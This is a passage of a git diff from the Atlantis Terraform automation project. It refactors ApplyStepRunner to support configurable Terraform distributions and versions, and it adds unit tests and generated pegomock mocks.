+ RepoRelDir: "projectname", + Workspace: "default", + ProjectName: "projectname", + Failure: "policy failure", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + }, + }, + }, + }, + }) + Ok(t, err) + + updateStatus, err := rdb.UpdatePullWithResults(pull, + []command.ProjectResult{ + { + Command: command.ApprovePolicies, + RepoRelDir: "mergeme", + Workspace: "default", + PolicyCheckResults: &models.PolicyCheckResults{ + PolicySetResults: []models.PolicySetResult{ + { + PolicySetName: "policy1", + ReqApprovals: 1, + CurApprovals: 1, + }, + }, + }, + }, + }) + Ok(t, err) + + getStatus, err := rdb.GetPullStatus(pull) + Ok(t, err) + + // Test both the pull state returned from the update call *and* the getCommandLock + // call. + for _, s := range []models.PullStatus{updateStatus, *getStatus} { + Equals(t, pull, s.Pull) + Equals(t, []models.ProjectStatus{ + { + RepoRelDir: "mergeme", + Workspace: "default", + Status: models.PassedPolicyCheckStatus, + PolicyStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Approvals: 1, + }, + }, + }, + { + RepoRelDir: "projectname", + Workspace: "default", + ProjectName: "projectname", + Status: models.ErroredPolicyCheckStatus, + PolicyStatus: []models.PolicySetStatus{ + { + PolicySetName: "policy1", + Approvals: 0, + }, + }, + }, + }, updateStatus.Projects) + } +} + +func newTestRedis(mr *miniredis.Miniredis) *redis.RedisDB { + r, err := redis.New(mr.Host(), mr.Server().Addr().Port, "", false, false, 0) + if err != nil { + panic(errors.Wrap(err, "failed to create test redis client")) + } + return r +} + +func newTestRedisTLS(mr *miniredis.Miniredis) *redis.RedisDB { + r, err := redis.New(mr.Host(), mr.Server().Addr().Port, "", true, true, 0) + if err != nil { + panic(errors.Wrap(err, "failed to create test redis client")) + } + return r +} + +func generateLocalhostCert() ([]byte, []byte, error) { + var err error + + priv, err := rsa.GenerateKey(rand.Reader, 2048) + if err != nil { + return nil, nil, err + } + + keyBytes, err := x509.MarshalPKCS8PrivateKey(priv) + if err != nil { + return nil, keyBytes, err + } + + serialNumber, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128)) + if err != nil { + return nil, keyBytes, err + } + + notBefore := time.Now() + template := x509.Certificate{ + SerialNumber: serialNumber, + Subject: pkix.Name{ + Organization: []string{"Atlantis Test Suite"}, + }, + NotBefore: notBefore, + NotAfter: notBefore.Add(time.Hour), + KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment, + + ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, + + IPAddresses: []net.IP{net.ParseIP("127.0.0.1")}, + } + certBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv) + return certBytes, keyBytes, err +} diff --git a/server/events/runtime/apply_step_runner.go b/server/core/runtime/apply_step_runner.go similarity index 76% rename from server/events/runtime/apply_step_runner.go rename to server/core/runtime/apply_step_runner.go index 1f8cb44640..b146664031 100644 --- a/server/events/runtime/apply_step_runner.go +++ b/server/core/runtime/apply_step_runner.go @@ -1,9 +1,7 @@ package runtime import ( - "bytes" "fmt" - "io/ioutil" "os" "path/filepath" "reflect" @@ -12,23 +10,28 @@ import ( "github.com/pkg/errors" version "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/utils" ) // ApplyStepRunner runs `terraform apply`. type ApplyStepRunner struct { - TerraformExecutor TerraformExec - CommitStatusUpdater StatusUpdater - AsyncTFExec AsyncTFExec + TerraformExecutor TerraformExec `validate:"required"` + DefaultTFDistribution terraform.Distribution `validate:"required"` + DefaultTFVersion *version.Version `validate:"required"` + CommitStatusUpdater StatusUpdater `validate:"required"` + AsyncTFExec AsyncTFExec `validate:"required"` } -func (a *ApplyStepRunner) Run(ctx models.ProjectCommandContext, extraArgs []string, path string, envs map[string]string) (string, error) { +func (a *ApplyStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { if a.hasTargetFlag(ctx, extraArgs) { return "", errors.New("cannot run apply with -target because we are applying an already generated plan. Instead, run -target with atlantis plan") } planPath := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) - contents, err := ioutil.ReadFile(planPath) + contents, err := os.ReadFile(planPath) if os.IsNotExist(err) { return "", fmt.Errorf("no plan found at path %q and workspace %q–did you run plan?", ctx.RepoRelDir, ctx.Workspace) } @@ -38,39 +41,40 @@ func (a *ApplyStepRunner) Run(ctx models.ProjectCommandContext, extraArgs []stri ctx.Log.Info("starting apply") var out string - if a.isRemotePlan(contents) { + tfDistribution := a.DefaultTFDistribution + if ctx.TerraformDistribution != nil { + tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) + } + tfVersion := a.DefaultTFVersion + if ctx.TerraformVersion != nil { + tfVersion = ctx.TerraformVersion + } + + // TODO: Leverage PlanTypeStepRunnerDelegate here + if IsRemotePlan(contents) { args := append(append([]string{"apply", "-input=false", "-no-color"}, extraArgs...), ctx.EscapedCommentArgs...) - out, err = a.runRemoteApply(ctx, args, path, planPath, ctx.TerraformVersion, envs) + out, err = a.runRemoteApply(ctx, args, path, planPath, tfDistribution, tfVersion, envs) if err == nil { out = a.cleanRemoteApplyOutput(out) } } else { // NOTE: we need to quote the plan path because Bitbucket Server can // have spaces in its repo owner names which is part of the path. - args := append(append(append([]string{"apply", "-input=false", "-no-color"}, extraArgs...), ctx.EscapedCommentArgs...), fmt.Sprintf("%q", planPath)) - out, err = a.TerraformExecutor.RunCommandWithVersion(ctx.Log, path, args, envs, ctx.TerraformVersion, ctx.Workspace) + args := append(append(append([]string{"apply", "-input=false"}, extraArgs...), ctx.EscapedCommentArgs...), fmt.Sprintf("%q", planPath)) + out, err = a.TerraformExecutor.RunCommandWithVersion(ctx, path, args, envs, tfDistribution, tfVersion, ctx.Workspace) } // If the apply was successful, delete the plan. if err == nil { ctx.Log.Info("apply successful, deleting planfile") - if removeErr := os.Remove(planPath); removeErr != nil { + if removeErr := utils.RemoveIgnoreNonExistent(planPath); removeErr != nil { ctx.Log.Warn("failed to delete planfile after successful apply: %s", removeErr) } } return out, err } -// isRemotePlan returns true if planContents are from a plan that was generated -// using TFE remote operations. -func (a *ApplyStepRunner) isRemotePlan(planContents []byte) bool { - // We add a header to plans generated by the remote backend so we can - // detect that they're remote in the apply phase. - remoteOpsHeaderBytes := []byte(remoteOpsHeader) - return bytes.Equal(planContents[:len(remoteOpsHeaderBytes)], remoteOpsHeaderBytes) -} - -func (a *ApplyStepRunner) hasTargetFlag(ctx models.ProjectCommandContext, extraArgs []string) bool { +func (a *ApplyStepRunner) hasTargetFlag(ctx command.ProjectContext, extraArgs []string) bool { isTargetFlag := func(s string) bool { if s == "-target" { return true @@ -117,30 +121,30 @@ func (a *ApplyStepRunner) cleanRemoteApplyOutput(out string) string { // manual diff. // It also writes "yes" or "no" to the process to confirm the apply. func (a *ApplyStepRunner) runRemoteApply( - ctx models.ProjectCommandContext, + ctx command.ProjectContext, applyArgs []string, path string, absPlanPath string, + tfDistribution terraform.Distribution, tfVersion *version.Version, envs map[string]string) (string, error) { - // The planfile contents are needed to ensure that the plan didn't change // between plan and apply phases. - planfileBytes, err := ioutil.ReadFile(absPlanPath) + planfileBytes, err := os.ReadFile(absPlanPath) if err != nil { return "", errors.Wrap(err, "reading planfile") } // updateStatusF will update the commit status and log any error. updateStatusF := func(status models.CommitStatus, url string) { - if err := a.CommitStatusUpdater.UpdateProject(ctx, models.ApplyCommand, status, url); err != nil { + if err := a.CommitStatusUpdater.UpdateProject(ctx, command.Apply, status, url, nil); err != nil { ctx.Log.Err("unable to update status: %s", err) } } // Start the async command execution. ctx.Log.Debug("starting async tf remote operation") - inCh, outCh := a.AsyncTFExec.RunCommandAsync(ctx.Log, filepath.Clean(path), applyArgs, envs, tfVersion, ctx.Workspace) + inCh, outCh := a.AsyncTFExec.RunCommandAsync(ctx, filepath.Clean(path), applyArgs, envs, tfDistribution, tfVersion, ctx.Workspace) var lines []string nextLineIsRunURL := false var runURL string @@ -170,7 +174,7 @@ func (a *ApplyStepRunner) runRemoteApply( ctx.Log.Debug("remote apply is waiting for confirmation") // Check if the plan is as expected. - planChangedErr = a.remotePlanChanged(string(planfileBytes), strings.Join(lines, "\n")) + planChangedErr = a.remotePlanChanged(string(planfileBytes), strings.Join(lines, "\n"), tfVersion) if planChangedErr != nil { ctx.Log.Err("plan generated during apply does not match expected plan, aborting") inCh <- "no\n" @@ -206,19 +210,15 @@ func (a *ApplyStepRunner) runRemoteApply( // the one we're about to apply in the apply phase. // If the plans don't match, it returns an error with a diff of the two plans // that can be printed to the pull request. -func (a *ApplyStepRunner) remotePlanChanged(planfileContents string, applyOut string) error { - // The plan is between the refresh separator... - planStartIdx := strings.Index(applyOut, refreshSeparator) - if planStartIdx < 0 { - return fmt.Errorf("Couldn't find refresh separator when parsing apply output:\n%q", applyOut) - } +func (a *ApplyStepRunner) remotePlanChanged(planfileContents string, applyOut string, tfVersion *version.Version) error { + output := StripRefreshingFromPlanOutput(applyOut, tfVersion) - // ...and the prompt to execute the plan. - planEndIdx := strings.Index(applyOut, "Do you want to perform these actions in workspace \"") + // Strip plan output after the prompt to execute the plan. + planEndIdx := strings.Index(output, "Do you want to perform these actions in workspace \"") if planEndIdx < 0 { return fmt.Errorf("Couldn't find plan end when parsing apply output:\n%q", applyOut) } - currPlan := strings.TrimSpace(applyOut[planStartIdx+len(refreshSeparator) : planEndIdx]) + currPlan := strings.TrimSpace(output[:planEndIdx]) // Ensure we strip the remoteOpsHeader from the plan contents so the // comparison is fair. We add this header in the plan phase so we can diff --git a/server/events/runtime/apply_step_runner_internal_test.go b/server/core/runtime/apply_step_runner_internal_test.go similarity index 100% rename from server/events/runtime/apply_step_runner_internal_test.go rename to server/core/runtime/apply_step_runner_internal_test.go diff --git a/server/core/runtime/apply_step_runner_test.go b/server/core/runtime/apply_step_runner_test.go new file mode 100644 index 0000000000..d9be33e1d6 --- /dev/null +++ b/server/core/runtime/apply_step_runner_test.go @@ -0,0 +1,491 @@ +package runtime_test + +import ( + "fmt" + "os" + "path/filepath" + "strings" + "sync" + "testing" + + version "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/runtime" + runtimemocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" + runtimemodels "github.com/runatlantis/atlantis/server/core/runtime/models" + tf "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + + . "github.com/runatlantis/atlantis/testing" +) + +func TestRun_NoDir(t *testing.T) { + o := runtime.ApplyStepRunner{ + TerraformExecutor: nil, + } + _, err := o.Run(command.ProjectContext{ + RepoRelDir: ".", + Workspace: "workspace", + }, nil, "/nonexistent/path", map[string]string(nil)) + ErrEquals(t, "no plan found at path \".\" and workspace \"workspace\"–did you run plan?", err) +} + +func TestRun_NoPlanFile(t *testing.T) { + tmpDir := t.TempDir() + o := runtime.ApplyStepRunner{ + TerraformExecutor: nil, + } + _, err := o.Run(command.ProjectContext{ + RepoRelDir: ".", + Workspace: "workspace", + }, nil, tmpDir, map[string]string(nil)) + ErrEquals(t, "no plan found at path \".\" and workspace \"workspace\"–did you run plan?", err) +} + +func TestRun_Success(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, nil, 0600) + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Log: logger, + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + } + Ok(t, err) + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + o := runtime.ApplyStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + } + + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + output, err := o.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, []string{"apply", "-input=false", "extra", "args", "comment", "args", fmt.Sprintf("%q", planPath)}, map[string]string(nil), tfDistribution, nil, "workspace") + _, err = os.Stat(planPath) + Assert(t, os.IsNotExist(err), "planfile should be deleted") +} + +func TestRun_AppliesCorrectProjectPlan(t *testing.T) { + // When running for a project, the planfile has a different name. + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "projectname-default.tfplan") + err := os.WriteFile(planPath, nil, 0600) + + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Log: logger, + Workspace: "default", + RepoRelDir: ".", + ProjectName: "projectname", + EscapedCommentArgs: []string{"comment", "args"}, + } + Ok(t, err) + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + o := runtime.ApplyStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + } + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + output, err := o.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, []string{"apply", "-input=false", "extra", "args", "comment", "args", fmt.Sprintf("%q", planPath)}, map[string]string(nil), tfDistribution, nil, "default") + _, err = os.Stat(planPath) + Assert(t, os.IsNotExist(err), "planfile should be deleted") +} + +func TestApplyStepRunner_TestRun_UsesConfiguredTFVersion(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, nil, 0600) + Ok(t, err) + + logger := logging.NewNoopLogger(t) + tfVersion, _ := version.NewVersion("0.11.0") + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformVersion: tfVersion, + Log: logger, + } + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + o := runtime.ApplyStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + } + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + output, err := o.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, []string{"apply", "-input=false", "extra", "args", "comment", "args", fmt.Sprintf("%q", planPath)}, map[string]string(nil), tfDistribution, tfVersion, "workspace") + _, err = os.Stat(planPath) + Assert(t, os.IsNotExist(err), "planfile should be deleted") +} + +func TestApplyStepRunner_TestRun_UsesConfiguredDistribution(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, nil, 0600) + Ok(t, err) + + logger := logging.NewNoopLogger(t) + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.11.0") + projTFDistribution := "opentofu" + ctx := command.ProjectContext{ + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformDistribution: &projTFDistribution, + Log: logger, + } + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + o := runtime.ApplyStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + } + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), NotEq[tf.Distribution](tfDistribution), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + output, err := o.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx), Eq(tmpDir), Eq([]string{"apply", "-input=false", "extra", "args", "comment", "args", fmt.Sprintf("%q", planPath)}), Eq(map[string]string(nil)), NotEq[tf.Distribution](tfDistribution), Eq(tfVersion), Eq("workspace")) + _, err = os.Stat(planPath) + Assert(t, os.IsNotExist(err), "planfile should be deleted") +} + +// Apply ignores the -target flag when used with a planfile so we should give +// an error if it's being used with -target. +func TestRun_UsingTarget(t *testing.T) { + logger := logging.NewNoopLogger(t) + cases := []struct { + commentFlags []string + extraArgs []string + expErr bool + }{ + { + commentFlags: []string{"-target", "mytarget"}, + expErr: true, + }, + { + commentFlags: []string{"-target=mytarget"}, + expErr: true, + }, + { + extraArgs: []string{"-target", "mytarget"}, + expErr: true, + }, + { + extraArgs: []string{"-target=mytarget"}, + expErr: true, + }, + { + commentFlags: []string{"-target", "mytarget"}, + extraArgs: []string{"-target=mytarget"}, + expErr: true, + }, + // Test false positives. + { + commentFlags: []string{"-targethahagotcha"}, + expErr: false, + }, + { + extraArgs: []string{"-targethahagotcha"}, + expErr: false, + }, + { + commentFlags: []string{"-targeted=weird"}, + expErr: false, + }, + { + extraArgs: []string{"-targeted=weird"}, + expErr: false, + }, + } + + RegisterMockTestingT(t) + + for _, c := range cases { + descrip := fmt.Sprintf("comments flags: %s extra args: %s", + strings.Join(c.commentFlags, ", "), strings.Join(c.extraArgs, ", ")) + t.Run(descrip, func(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + err := os.WriteFile(planPath, nil, 0600) + Ok(t, err) + terraform := tfclientmocks.NewMockClient() + step := runtime.ApplyStepRunner{ + TerraformExecutor: terraform, + } + + output, err := step.Run(command.ProjectContext{ + Log: logger, + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: c.commentFlags, + }, c.extraArgs, tmpDir, map[string]string(nil)) + Equals(t, "", output) + if c.expErr { + ErrEquals(t, "cannot run apply with -target because we are applying an already generated plan. Instead, run -target with atlantis plan", err) + } else { + Ok(t, err) + } + }) + } +} + +// Test that apply works for remote applies. +func TestRun_RemoteApply_Success(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + planFileContents := ` +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: + - destroy + +Terraform will perform the following actions: + + - null_resource.hi[1] + + +Plan: 0 to add, 0 to change, 1 to destroy.` + err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+planFileContents), 0600) + Ok(t, err) + + RegisterMockTestingT(t) + tfOut := fmt.Sprintf(preConfirmOutFmt, planFileContents) + postConfirmOut + tfExec := &remoteApplyMock{LinesToSend: tfOut, DoneCh: make(chan bool)} + updater := runtimemocks.NewMockStatusUpdater() + o := runtime.ApplyStepRunner{ + AsyncTFExec: tfExec, + CommitStatusUpdater: updater, + } + tfVersion, _ := version.NewVersion("0.11.0") + ctx := command.ProjectContext{ + Log: logging.NewNoopLogger(t), + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformVersion: tfVersion, + } + output, err := o.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) + <-tfExec.DoneCh + + Ok(t, err) + Equals(t, "yes\n", tfExec.PassedInput) + Equals(t, ` +2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b +null_resource.dir2[1]: Destroying... (ID: 8554368366766418126) +null_resource.dir2[1]: Destruction complete after 0s + +Apply complete! Resources: 0 added, 0 changed, 1 destroyed. +`, output) + + Equals(t, []string{"apply", "-input=false", "-no-color", "extra", "args", "comment", "args"}, tfExec.CalledArgs) + _, err = os.Stat(planPath) + Assert(t, os.IsNotExist(err), "planfile should be deleted") + + // Check that the status was updated with the run url. + runURL := "https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test-dir2/runs/run-PiDsRYKGcerTttV2" + updater.VerifyWasCalledOnce().UpdateProject(ctx, command.Apply, models.PendingCommitStatus, runURL, nil) + updater.VerifyWasCalledOnce().UpdateProject(ctx, command.Apply, models.SuccessCommitStatus, runURL, nil) +} + +// Test that if the plan is different, we error out. +func TestRun_RemoteApply_PlanChanged(t *testing.T) { + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, "workspace.tfplan") + planFileContents := ` +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: + - destroy + +Terraform will perform the following actions: + + - null_resource.hi[1] + + +Plan: 0 to add, 0 to change, 1 to destroy.` + err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+planFileContents), 0600) + Ok(t, err) + + RegisterMockTestingT(t) + tfOut := fmt.Sprintf(preConfirmOutFmt, "not the expected plan!") + noConfirmationOut + tfExec := &remoteApplyMock{ + LinesToSend: tfOut, + Err: errors.New("exit status 1"), + DoneCh: make(chan bool), + } + o := runtime.ApplyStepRunner{ + AsyncTFExec: tfExec, + CommitStatusUpdater: runtimemocks.NewMockStatusUpdater(), + } + tfVersion, _ := version.NewVersion("0.11.0") + + output, err := o.Run(command.ProjectContext{ + Log: logging.NewNoopLogger(t), + Workspace: "workspace", + RepoRelDir: ".", + EscapedCommentArgs: []string{"comment", "args"}, + TerraformVersion: tfVersion, + }, []string{"extra", "args"}, tmpDir, map[string]string(nil)) + <-tfExec.DoneCh + ErrEquals(t, `Plan generated during apply phase did not match plan generated during plan phase. +Aborting apply. + +Expected Plan: + +An execution plan has been generated and is shown below. +Resource actions are indicated with the following symbols: + - destroy + +Terraform will perform the following actions: + + - null_resource.hi[1] + + +Plan: 0 to add, 0 to change, 1 to destroy. +************************************************** + +Actual Plan: + +not the expected plan! +************************************************** + +This likely occurred because someone applied a change to this state in-between +your plan and apply commands. +To resolve, re-run plan.`, err) + Equals(t, "", output) + Equals(t, "no\n", tfExec.PassedInput) + + // Planfile should not be deleted. + _, err = os.Stat(planPath) + Ok(t, err) +} + +type remoteApplyMock struct { + // LinesToSend will be sent on the channel. + LinesToSend string + // Err will be sent on the channel after all LinesToSend. + Err error + // CalledArgs is what args we were called with. + CalledArgs []string + // PassedInput is set to the last string passed to our input channel. + PassedInput string + // DoneCh callers should wait on the done channel to ensure we're done. + DoneCh chan bool +} + +// RunCommandAsync fakes out running terraform async. +func (r *remoteApplyMock) RunCommandAsync(_ command.ProjectContext, _ string, args []string, _ map[string]string, _ tf.Distribution, _ *version.Version, _ string) (chan<- string, <-chan runtimemodels.Line) { + r.CalledArgs = args + + in := make(chan string) + out := make(chan runtimemodels.Line) + + // We use a wait group to ensure our sending and receiving routines have + // completed. + wg := new(sync.WaitGroup) + wg.Add(2) + go func() { + wg.Wait() + // When they're done, we signal the done channel. + r.DoneCh <- true + }() + + // Asynchronously process input. + go func() { + inLine := <-in + r.PassedInput = inLine + close(in) + wg.Done() + }() + + // Asynchronously send the lines we're supposed to. + go func() { + for _, line := range strings.Split(r.LinesToSend, "\n") { + out <- runtimemodels.Line{Line: line} + } + if r.Err != nil { + out <- runtimemodels.Line{Err: r.Err} + } + close(out) + wg.Done() + }() + return in, out +} + +var preConfirmOutFmt = ` +Running apply in the remote backend. Output will stream here. Pressing Ctrl-C +will cancel the remote apply if its still pending. If the apply started it +will stop streaming the logs, but will not stop the apply running remotely. + +Preparing the remote apply... + +To view this run in a browser, visit: +https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test-dir2/runs/run-PiDsRYKGcerTttV2 + +Waiting for the plan to start... + +Terraform v0.11.11 + +Configuring remote state backend... +Initializing Terraform configuration... +2019/02/27 21:50:44 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b +Refreshing Terraform state in-memory prior to plan... +The refreshed state will be used to calculate this plan, but will not be +persisted to local or remote state storage. + +null_resource.dir2[0]: Refreshing state... (ID: 8492616078576984857) + +------------------------------------------------------------------------ +%s + +Do you want to perform these actions in workspace "atlantis-tfe-test-dir2"? + Terraform will perform the actions described above. + Only 'yes' will be accepted to approve. + + Enter a value: ` + +var postConfirmOut = ` + +2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b +null_resource.dir2[1]: Destroying... (ID: 8554368366766418126) +null_resource.dir2[1]: Destruction complete after 0s + +Apply complete! Resources: 0 added, 0 changed, 1 destroyed. +` + +var noConfirmationOut = ` + +Error: Apply discarded. +` diff --git a/server/core/runtime/cache/mocks/mock_key_serializer.go b/server/core/runtime/cache/mocks/mock_key_serializer.go new file mode 100644 index 0000000000..dfcfd73f61 --- /dev/null +++ b/server/core/runtime/cache/mocks/mock_key_serializer.go @@ -0,0 +1,111 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime/cache (interfaces: KeySerializer) + +package mocks + +import ( + go_version "github.com/hashicorp/go-version" + pegomock "github.com/petergtz/pegomock/v4" + "reflect" + "time" +) + +type MockKeySerializer struct { + fail func(message string, callerSkip ...int) +} + +func NewMockKeySerializer(options ...pegomock.Option) *MockKeySerializer { + mock := &MockKeySerializer{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockKeySerializer) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockKeySerializer) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockKeySerializer) Serialize(key *go_version.Version) (string, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockKeySerializer().") + } + _params := []pegomock.Param{key} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Serialize", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockKeySerializer) VerifyWasCalledOnce() *VerifierMockKeySerializer { + return &VerifierMockKeySerializer{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockKeySerializer) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockKeySerializer { + return &VerifierMockKeySerializer{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockKeySerializer) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockKeySerializer { + return &VerifierMockKeySerializer{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockKeySerializer) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockKeySerializer { + return &VerifierMockKeySerializer{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockKeySerializer struct { + mock *MockKeySerializer + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockKeySerializer) Serialize(key *go_version.Version) *MockKeySerializer_Serialize_OngoingVerification { + _params := []pegomock.Param{key} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Serialize", _params, verifier.timeout) + return &MockKeySerializer_Serialize_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockKeySerializer_Serialize_OngoingVerification struct { + mock *MockKeySerializer + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockKeySerializer_Serialize_OngoingVerification) GetCapturedArguments() *go_version.Version { + key := c.GetAllCapturedArguments() + return key[len(key)-1] +} + +func (c *MockKeySerializer_Serialize_OngoingVerification) GetAllCapturedArguments() (_param0 []*go_version.Version) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]*go_version.Version, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(*go_version.Version) + } + } + } + return +} diff --git a/server/core/runtime/cache/mocks/mock_version_path.go b/server/core/runtime/cache/mocks/mock_version_path.go new file mode 100644 index 0000000000..1cd9584eb3 --- /dev/null +++ b/server/core/runtime/cache/mocks/mock_version_path.go @@ -0,0 +1,111 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/runtime/cache (interfaces: ExecutionVersionCache) + +package mocks + +import ( + go_version "github.com/hashicorp/go-version" + pegomock "github.com/petergtz/pegomock/v4" + "reflect" + "time" +) + +type MockExecutionVersionCache struct { + fail func(message string, callerSkip ...int) +} + +func NewMockExecutionVersionCache(options ...pegomock.Option) *MockExecutionVersionCache { + mock := &MockExecutionVersionCache{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock 